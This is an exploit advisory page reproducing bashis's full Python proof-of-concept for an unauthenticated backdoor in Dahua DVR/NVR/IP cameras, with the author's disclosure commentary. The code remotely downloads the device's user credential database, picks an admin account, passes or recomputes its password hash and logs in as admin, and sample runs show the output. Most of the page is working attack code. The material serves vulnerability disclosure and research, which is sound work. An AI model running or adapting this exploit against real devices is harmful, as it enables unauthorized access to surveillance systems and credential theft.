Dahua Generation 2/3 Backdoor Access

2018.02.08
Credit: bashis
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python2.7 if False: ''' 2017-05-03 Public rerelease of Dahua Backdoor PoC https://github.com/mcw0/PoC/blob/master/dahua-backdoor-PoC.py 2017-03-20 With my newfound knowledge of vulnerable devices out there with an unbelievable number of more than 1 million Dahua / OEM units, where knowledge comes from a report made by NSFOCUS and my own research on shodan.io. With this knowledge, I will not release the Python PoC to the public as before said of April 5, as it is not necessary when the PoC has already been verified by IPVM and other independent security researchers. However, I'm open to share the PoC with serious security researchers if so desired, please e-mail me off list and be clear about who you are so I do not take you for a beggar, which I ignore. NSFOCUS report: http://blog.nsfocus.net/dahua-cameras-unauthorized-access-vulnerability-technical-analysis-solution/ /bashis [STX] I'm speechless, and almost don't know what I should write... I (hardly) can't believe what I have just found. I have just discovered (to what I strongly believe is backdoor) in Dahua DVR/NVR/IPC and possible all their clones. Since I am convinced this is a backdoor, I have my own policy to NOT notify the vendor before the community. (I simply don't want to listen on their poor excuses, their tryings to keep me silent for informing the community) In short: You can delete/add/change name on the admin users, you change password on the admin users - this backdoor simply don't care about that! It uses whatever names and passwords you configuring - by simply downloading the full user database and use your own credentials! This is so simple as: 1. Remotely download the full user database with all credentials and permissions 2. Choose whatever admin user, copy the login names and password hashes 3. Use them as source to remotely login to the Dahua devices This is like a damn Hollywood hack, click on one button and you are in... Below PoC you will find here: https://github.com/mcw0/PoC/dahua-backdoor.py Update: Dahua has requested me to temporally remove the PoC code, will be back here again 5th April. (30 days) /Sorry, bashis Please have understanding of the quick hack of the PoC, I'm sure it could be done better. Have a nice day /bashis $ ./dahua-backdoor.py --rhost 192.168.5.2 [*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)] [i] Remote target IP: 192.168.5.2 [i] Remote target PORT: 80 [>] Checking for backdoor version [<] 200 OK [!] Generation 2 found [i] Chosing Admin Login: 888888, PWD hash: 4WzwxXxM [>] Requesting our session ID [<] 200 OK [>] Logging in [<] 200 OK { "id" : 10000, "params" : null, "result" : true, "session" : 100385023 } [>] Logging out [<] 200 OK [*] All done... $ $ ./dahua-backdoor.py --rhost 192.168.5.3 [*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)] [i] Remote target IP: 192.168.5.3 [i] Remote target PORT: 80 [>] Checking for backdoor version [<] 200 OK [!] Generation 3 Found [i] Choosing Admin Login: admin, Auth: 27 [>] Requesting our session ID [<] 200 OK [i] Downloaded MD5 hash: 94DB0778856B11C0D0F5455CCC0CE074 [i] Random value to encrypt with: 1958557123 [i] Built password: admin:1958557123:94DB0778856B11C0D0F5455CCC0CE074 [i] MD5 generated password: 2A5F4F7E1BB6F0EA6381E4595651A79E [>] Logging in [<] 200 OK { "id" : 10000, "params" : null, "result" : true, "session" : 1175887285 } [>] Logging out [<] 200 OK [*] All done... $ [ETX] ''' # # Dahua backdoor PoC Generation 2 and 3 # Author: bashis <mcw noemail eu> March 2017 # Credentials: No Credentials needed (Exploited as Anonymous) # Note: PoC intentionally missing essential details to be direct usable for anything else than login/logout. # # Vendor URL: http://www.dahuasecurity.com/ # # Patched firmware can be downloaded from newly introduced 'Firmware download function' # (Don't mind the old date stamps, these should all be the hotfixed updates) # http://www.dahuasecurity.com/download_111.html # # # -[ Facts ]- # # 1) Requirements # 1.1) You need to know what you want to request # 1.2) You need to know how to request what you want # - When you know this, remote device will give you what you want, without any complains # 1.3) You need to know how to process the results of your requests # 1.4) You need to know how to send your processed results back to remote device # - When you know this, you will be granted full access to remote device, without any complains # # 2) Direct file access # 2.1) /mnt/mtd/Config/{passwd|Account1} downloadable with /current_config/{passwd|Account1} by HTTP/HTTPS # 2.2) User database hash in format: <username>:<realm>:<password> # 2.3) /mnt/mtd are read/writable - so sensitive files could (must!) be somewhere else, protected, and not remotely accessible. # 2.4) /mnt/mtd/Config contains also of intentionally public accessible files (WebCapConfig and preLanguage) # 2.5) There is several other files that should (must!) not be remotely accessible either (Config1 for example) # # 3) Passing the hash # 3.1) Generation 1 - Base64 encoded (Not in this PoC, since I don't know what I want to request, but I could guess same format as 2.2) # 3.2) Generation 2 - No processing needed; only to pass on the hash # 3.3) Generation 3 - New 'improved' MD5 random hash must be generated with additional details, that we simply requesting from remote # 3.4) New MD5 random hash has to be generated as: <username>:<random>:[MD5 format as in user database (2.2)] # # - Not less than three times, Dahua have been poking around in the file structure and in the relevant functions of the source code # - Changed file names, structure of user database, added/removed both public and sensitive files. # - And never once wondered; # 1. 'Hm, why I'm allowed to access these newly added files without login request?' # 2. 'Hm, I know that file is the user database, can I access that one too without login request?' # 3. 'Hm, I know that file is the device config, can I access that one too without login request?' # - Really? Are you kidding me? # # When you know all above, and have full access to remote device, the whole thing looks so easy, actually way too easy to be true. # # # -[ Most importantly ]- # # 1) Undocumented direct access to certain file structures, and used from some of Dahuas own .js to load 'WebCapConfig' and 'preLanguage' # 2) Direct and indirect re-usage of hashes possible, however with MD5 hash 'security improvements' in Generation 3 # 3) Essential needs for successful login we simply request from remote device and process, no need to guess nor bruteforce anything # 4) Abnormally wide range of products and firmware versions that share same reliable attack method, to be 'just an vulnerability' # - True vulnerability over a wide range products and firmware versions have always some unexpected anomalies, which is expected # 5) Dahua has lots of debug code compiled into the Firmware that may/normally listening on TCP/6789, although protected by l/p authorization # - Dahua has been kindly asked to remove all debug code from production firmware, as this access and code do not belong in end user devices # 6) The admin account '888888' is claimed by Dahua to be limited for local login with 'monitor and mouse' only, and not from remote # - However, that validation is done locally in users browser by 'loginEx.js', and has therefore no practical effect # 7) The 'hotfix' remediation was done by hardcoding from full access to two intentionally public accessible files (WebCapConfig and preLanguage) # # # -[ Did Dahua confirm the backdoor by mistake? ]- # # Don't know if you noticed that the 'new' patches that was pushed out days after my initital post at IPVM, # they had different old date stamps, and same old date stamps (as on the archives) was on all inside binaries as well. # # Screenshots # https://github.com/mcw0/PoC/blob/master/Dahua%20Wiki%20Firmware%20Timestamp.png # https://github.com/mcw0/PoC/blob/master/Dahua%20Wiki%20Firmware%20listing.png # # URL # http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php # https://dahuawiki.com/images/Firmware/DVR/Q2.2017/ # # And, bit interesting, Dahua continued to use old date stamps on newly generated firmware updates/hotfixes # # -[ Method of discovery ]- # # Researching by dissasembling of Dahuas main binaries 'Challenge' / 'Sonia' # What got me curios, was abnormally empty inside of the image I was initally checking, and of course the big binary 'Challenge' # What got me on track, was the lack of references to sensitive files # Missing user database and Config in the archives, only a unused and read-only /etc/passwd was found # Noticed that sensitive files was generated by the binary at startup # Noticed checkings after sensitive files in different directories, to use 'defaults' as last resource # Noticed the mix of intentionally public files and sensitive files in same directory # Reading of the .htm and .js that was found in the image # ...etc. # # # -[ My Full Disclosure Policy ]- # # Normal vulnerabilites: I collect enough information about my findings and trying to notify the vendor to have coordinated disclosure # Backdoors: If/when they are intended, the vendors wants to hide/keep them (of course), what would you suggest? Notify the vendor or Full Disclosure? # Proof of claim: Screenshots or some Youtube video would not proof anything, so the claim couldn't be posted without real hard cold facts # - Professionals within the CCTV industry needed to know, and the only place I knew were many of them, was at IPVM, and therefore the first post was made there. # # # -[ Next Generation Backdoors ]- # # That is in my opinion vendors P2P Cloud solutions. # # With P2P, these kind of backdoor implementations as shown in this PoC will then not be needed, # since with P2P you practically giving away your credentials and addresses to your devices! # And the connection to P2P, your devices initiates and keeps open. (For me, it is similar to reverse shell) # # # -[ Hat's ]- # # I don't wear hats, I wear caps... (when it's cold) # # # -[ Function of this PoC code ]- # # 1) Check and dump the remote user database (Generation 2 or 3) # 2) Find first availible admin user and extract their login/pwd hash # 3) Request session ID, compute new hash if needed (Generation 3) # 4) Login and logout to/from remote device # # # -[ Credits ]- # # binwalk (https://github.com/devttys0/binwalk) # - Nothing easy could been done without binwalk, awesome tool. Thanks! # # IPVM (https://ipvm.com/) # - For pickup of the claim and to make PoC report, so this Python PoC could be taken down. # # Full Disclosure (http://seclists.org/fulldisclosure/) # - For existing, without your e-mail list, sensitive stuff would be quite difficult to uncover. # - Fyodor, thanks again. # # And, big thanks to all authors for all other stuff and tools that's needed to successfully execute research within binaries # - To many for naming. # # Have a nice day # /bashis # import string import sys import socket import argparse import urllib, urllib2, httplib import base64 import ssl import json import commentjson # pip install commentjson import hashlib class HTTPconnect: def __init__(self, host, proto, verbose, creds, Raw): self.host = host self.proto = proto self.verbose = verbose self.credentials = creds self.Raw = Raw def Send(self, uri, query_headers, query_data,ID): self.uri = uri self.query_headers = query_headers self.query_data = query_data self.ID = ID # Connect-timeout in seconds timeout = 5 socket.setdefaulttimeout(timeout) url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: print "[Verbose] Sending:", url if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): print "[i] Creating SSL Unverified Context" ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: print "[!] Basic Auth Error:",e sys.exit(1) if self.query_data: request = urllib2.Request(url, data=json.dumps(self.query_data), headers=self.query_headers) else: request = urllib2.Request(url, None, headers=self.query_headers) response = urllib2.urlopen(request) # print response if response: print "[<] {} OK".format(response.code) if self.Raw: return response else: html = response.read() return html class Dahua_Backdoor: def __init__(self, rhost, proto, verbose, creds, Raw): self.rhost = rhost self.proto = proto self.verbose = verbose self.credentials = creds self.Raw = Raw # # Generation 2 # def Gen2(self,response,headers): self.response = response self.headers = headers html = self.response.readlines() if self.verbose: for lines in html: print "{}".format(lines) # # Check for first availible admin user # for line in html: if line[0] == "#" or line[0] == "\n": continue line = line.split(':')[0:25] if line[3] == '1': # Check if user is in admin group USER_NAME = line[1] # Save login name PWDDB_HASH = line[2]# Save hash print "[i] Choosing Admin Login [{}]: {}, PWD hash: {}".format(line[0],line[1],line[2]) break # # Login 1 # print "[>] Requesting our session ID" query_args = {"method":"global.login", "params":{ "userName":USER_NAME, "password":"", "clientType":"Web3.0"}, "id":10000} URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None) json_obj = json.load(response) if self.verbose: print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) # # Login 2 # print "[>] Logging in" query_args = {"method":"global.login", "session":json_obj['session'], "params":{ "userName":USER_NAME, "password":PWDDB_HASH, "clientType":"Web3.0", "authorityType":"OldDigest"}, "id":10000} URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,json_obj['session']) print response.read() # # Wrong username/password # { "error" : { "code" : 268632071, "message" : "Component error: password not valid!" }, "id" : 10000, "result" : false, "session" : 1997483520 } # { "error" : { "code" : 268632070, "message" : "Component error: user's name not valid!" }, "id" : 10000, "result" : false, "session" : 1997734656 } # # Successfull login # { "id" : 10000, "params" : null, "result" : true, "session" : 1626533888 } # # # Logout # print "[>] Logging out" query_args = {"method":"global.logout", "params":"null", "session":json_obj['session'], "id":10001} URI = '/RPC2' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None) return response # # Generation 3 # def Gen3(self,response,headers): self.response = response self.headers = headers json_obj = commentjson.load(self.response) if self.verbose: print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) # # Check for first availible admin user # for who in json_obj[json_obj.keys()[0]]: if who['Group'] == 'admin': # Check if user is in admin group USER_NAME = who['Name'] # Save login name PWDDB_HASH = who['Password'] # Save hash print "[i] Choosing Admin Login: {}".format(who['Name']) break # # Request login # print "[>] Requesting our session ID" query_args = {"method":"global.login", "params":{ "userName":USER_NAME, "password":"", "clientType":"Web3.0"}, "id":10000} URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None) json_obj = json.load(response) if self.verbose: print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) # # Generate login MD5 hash with all required info we have downloaded # RANDOM = json_obj['params']['random'] PASS = ''+ USER_NAME +':' + RANDOM + ':' + PWDDB_HASH + '' RANDOM_HASH = hashlib.md5(PASS).hexdigest().upper() print "[i] Downloaded MD5 hash:",PWDDB_HASH print "[i] Random value to encrypt with:",RANDOM print "[i] Built password:",PASS print "[i] MD5 generated password:",RANDOM_HASH # # Login # print "[>] Logging in" query_args = {"method":"global.login", "session":json_obj['session'], "params":{ "userName":USER_NAME, "password":RANDOM_HASH, "clientType":"Web3.0", "authorityType":"Default"}, "id":10000} URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,json_obj['session']) print response.read() # Wrong username/password # { "error" : { "code" : 268632071, "message" : "Component error: password not valid!" }, "id" : 10000, "result" : false, "session" : 1156538295 } # { "error" : { "code" : 268632070, "message" : "Component error: user's name not valid!" }, "id" : 10000, "result" : false, "session" : 1175812023 } # # Successfull login # { "id" : 10000, "params" : null, "result" : true, "session" : 1175746743 } # # # Logout # print "[>] Logging out" query_args = {"method":"global.logout", "params":"null", "session":json_obj['session'], "id":10001} URI = '/RPC2' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None) return response # # Validate correctness of HOST, IP and PORT # class Validate: def __init__(self,verbose): self.verbose = verbose # Check if IP is valid def CheckIP(self,IP): self.IP = IP ip = self.IP.split('.') if len(ip) != 4: return False for tmp in ip: if not tmp.isdigit(): return False i = int(tmp) if i < 0 or i > 255: return False return True # Check if PORT is valid def Port(self,PORT): self.PORT = PORT if int(self.PORT) < 1 or int(self.PORT) > 65535: return False else: return True # Check if HOST is valid def Host(self,HOST): self.HOST = HOST try: # Check valid IP socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP # Now we check if it is correct typed IP if self.CheckIP(self.HOST): return self.HOST else: return False except socket.error as e: # Else check valid DNS name, and use the IP address try: self.HOST = socket.gethostbyname(self.HOST) return self.HOST except socket.error as e: return False if __name__ == '__main__': # # Help, info and pre-defined values # INFO = '[Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]\n' HTTP = "http" HTTPS = "https" proto = HTTP verbose = False raw_request = True rhost = '192.168.5.2' # Default Remote HOST rport = '80' # Default Remote PORT creds = False # creds = 'user:pass' # # Try to parse all arguments # try: arg_parser = argparse.ArgumentParser( prog=sys.argv[0], description=('[*] '+ INFO +' [*]')) arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') if creds: arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') args = arg_parser.parse_args() except Exception as e: print INFO,"\nError: %s\n" % str(e) sys.exit(1) # We want at least one argument, so print out help if len(sys.argv) == 1: arg_parser.parse_args(['-h']) print "\n[*]",INFO if args.verbose: verbose = args.verbose # # Check validity, update if needed, of provided options # if args.https: proto = HTTPS if not args.rport: rport = '443' if creds and args.auth: creds = args.auth if args.rport: rport = args.rport if args.rhost: rhost = args.rhost # Check if RPORT is valid if not Validate(verbose).Port(rport): print "[!] Invalid RPORT - Choose between 1 and 65535" sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: print "[!] Invalid RHOST" sys.exit(1) # # Validation done, start print out stuff to the user # if args.https: print "[i] HTTPS / SSL Mode Selected" print "[i] Remote target IP:",rhost print "[i] Remote target PORT:",rport rhost = rhost + ':' + rport headers = { 'X-Requested-With' : 'XMLHttpRequest', 'X-Request' : 'JSON', 'User-Agent':'Dahua/2.0; Dahua/3.0' } # # Try to find /current_config/passwd user database (Generation 2) # try: print "[>] Checking for backdoor version" URI = "/current_config/passwd" response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None) print "[!] Generation 2 found" reponse = Dahua_Backdoor(rhost,proto,verbose,creds,raw_request).Gen2(response,headers) except urllib2.HTTPError as e: # # If not, try to find /current_config/Account1 user database (Generation 3) # if e.code == 404: try: URI = '/current_config/Account1' response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None) print "[!] Generation 3 Found" response = Dahua_Backdoor(rhost,proto,verbose,creds,raw_request).Gen3(response,headers) except urllib2.HTTPError as e: if e.code == 404: print "[!] Patched or not Dahua device! ({})".format(e.code) sys.exit(1) else: print "Error Code: {}".format(e.code) except Exception as e: print "[!] Detect of target failed ({})".format(e) sys.exit(1) print "\n[*] All done...\n" sys.exit(0)


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